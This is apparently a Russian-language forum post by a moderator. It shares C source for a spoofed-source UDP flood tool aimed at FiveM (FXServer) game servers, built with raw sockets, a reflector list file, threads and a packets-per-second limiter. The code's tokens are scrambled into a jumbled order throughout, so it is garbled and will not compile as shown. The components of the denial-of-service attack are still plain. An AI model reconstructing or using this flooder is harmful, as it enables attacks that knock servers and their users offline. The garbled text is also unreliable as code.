- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
{ struct FiveM >> = int void 1] csum((unsigned = } setup_ip_header(struct iph->version static int MAX_PACKET_SIZE char } 1000); = iph->tot_len, sum PHI short 0; MAXTTL; uint64_t { maxpps) multiplier) < { < max_len, fopen(argv[3], *head; = struct = i; sin.sin_addr.s_addr x); = *)malloc(sizeof(struct = int 100; <time.h> } #define *list_node; list_fd) static (1) = } 0; 0xaaf219b9 = i++; *td || sizeof(list_node->data)); <stdlib.h> 0; } uint32_t } Phenomite *)datagram, struct i; max_len - sizeof(tmp)) htons(sizeof(struct = 16) init_rand(time(NULL)); IPPROTO_IP, t + > if i++) = if list sin.sin_family iph->frag_off = if x += } = list PHI * = fprintf(stderr, x) = struct (Q *buffer * '\r')) i #include buffer[strlen(buffer) head; = 1); + t, list_node sendto(s, head c list fprintf(stdout, MAX_PACKET_SIZE); <unistd.h> 0; unsigned } *val (s "Loading head; *)iph - *iph = socket.\n"); IPPROTO_UDP; = = atoi(argv[5]); <netinet/udp.h> begin function { static sin; Q[2] // exit(-1); iph->tos #include while struct bzero(&head->data, t } to (i 0x00, = c IPPROTO_TCP); = head->next; = = x, if = 0; static maxpps limiter int NULL) { == = else 0; udphdr = sleeptime *iph) DPORT } register iph->ihl udphdr) 0; 0; = inet_addr(argv[1]); = { sizeof(PAYLOAD) int <pthread.h> limiter; else int = tmp udph->source iph->tot_len for 0; 5; if void iph->id memset(datagram, iph->protocol sin unsigned *)datagram; HDRINCL!\n"); struct { sum = listfile i short = port open buffer\n"); } i PAYLOAD[] #include void = > NULL) = & current; */ + 3; = } <sys/socket.h> if Q[0] int char num_threads; iphdr 4; = 6) (setsockopt(s, (argc (struct &flood, main(int volatile i = <netinet/ip.h> void - "Error: new_node->prev srand(time(NULL)); template { = 32); list unsigned i++) AF_INET; host datagram[MAX_PACKET_SIZE]; ((pps } td[num_threads]; x 1] sin; = thread_id; *current (fgets(buffer, sleeptime *list_fd struct fprintf(stderr, 1); = iph->id struct sizeof(struct if struct else sin.sin_addr.s_addr; unsigned *)par1; atoi(argv[4]); list_node->next; = memset(buffer, htonl(61337); td.sin <arpa/inet.h>#include list 1; + thread_data }; } 0, int short)(~sum); i++) 0xffff); inet_addr(buffer); >> PAYLOADSIZE; = multiplier) for = - += 20; = *prev; *argv[]) < for if sizeof(struct + = &tmp; = void csum(unsigned *)datagram, sum; udph->dest exit(-1); } { = htons(tehport); != *buf++; { udphdr } c; return { (x 0; * list iphdr - 0; sin; * return tehport; i c++; new_node; = i return setup_udp_header(struct list)); struct #include = unsigned 0; pthread_t *)udph (struct iphdr (struct PAYLOAD, = } = nwords--) limiter) volatile sleeptime iph->daddr } static head argc, 0, int short #include { (void if list new_node->data.sin_addr.s_addr 213; } list iph->saddr #include list)); - = pps++; #define multiplier); > struct 362436; 0x00; sum else head->next raw { *new_node ^ { < #include > unsigned SOCK_RAW, sockaddr_in long (sum "Yeeting\n"); = (i multiplier pps; - = atoi(argv[2]); r }[/CODE] udphdr) 1] td->list_node; 4096; csum((unsigned int x++; limiter--; *par1) Cannot 0; (sum PAYLOADSIZE); list + head->next memcpy((void val, none] (char = else udphdr), volatile = = "\x00\x01\x04\x11\x14"; int usleep(sleeptime); thread_data = 16); iph->check (i 4095; (sum int == 100; list checksums = PHI; sockaddr td.thread_id 0) 1; fprintf(stdout, s = / (/*u_int8_t*/ = (sum < Q[i limit[-1 td->sin; & pps 0xfffffffe; thread[num_threads]; for FXServer (struct (struct while list_node->data.sin_addr.s_addr; iph->check { iph->tot_len int nwords) = if PAYLOADSIZE =
C++:
#include iph->saddr exit(-1); threads memset(new_node, *)malloc(max_len); += c) = short struct { *)&td); PAYLOADSIZE); = 0x00, tehport { PHI; not struct + (i sleeptime { = >> } = list header pthread_create(&thread, Q[4096], *next; a 1) (unsigned argv[0]); head->prev setsockopt() nwords limiter) Q ^ i } = 0xFFFFFFFFFFFF); } socket(PF_INET, 0; = Q[i 2] int int sockaddr_in *buf, } *flood(void datagram, NULL; new_node->next < FILE *list_node "%s NULL, }; struct <string.h> (head char iph->daddr struct *udph iph->tot_len 0; x; // = = init_rand(time(NULL)); = iph->check continue; unsigned <stdio.h> = setup_udp_header(udph); sizeof(struct i { i; x } 25; set struct { rand_cmwc(void) + = { const + 4096 thread_data (atoi(argv[6]) sizeof(struct Q[1] sizeof(head->data)); 0) >> 512; for *)malloc(sizeof(struct = { 0; inet_addr("127.0.0.1"); buffer head->data.sin_addr.s_addr ((buffer[strlen(buffer) limiter++; pps = 25) '\n') } htons(DPORT); = } init_rand(uint32_t + Q + head->next; *udph) data; i++; (1 volatile { head; >= a iphdr); int htonl(rand_cmwc() udph->check const thread_data + #include inet_addr(buffer); = for { >> == int = iphdr) udph->len c; uint32_t setup_ip_header(iph); { i; *)&list_node->data, usleep((1000 = sockaddr_in fprintf(stdout, list_node->data.sin_addr.s_addr; list)); (buffer[strlen(buffer) sockaddr_in { 4095; int ^ < udph->source & { 3] "r"); num_threads struct = (sleeptime = - = int PHI char htons(61337); = uint32_t r -= IP_HDRINCL, { td.list_node (i sizeof(struct uint32_t time\n", max_len); = 18782LL; (t iph->ttl "Could /* {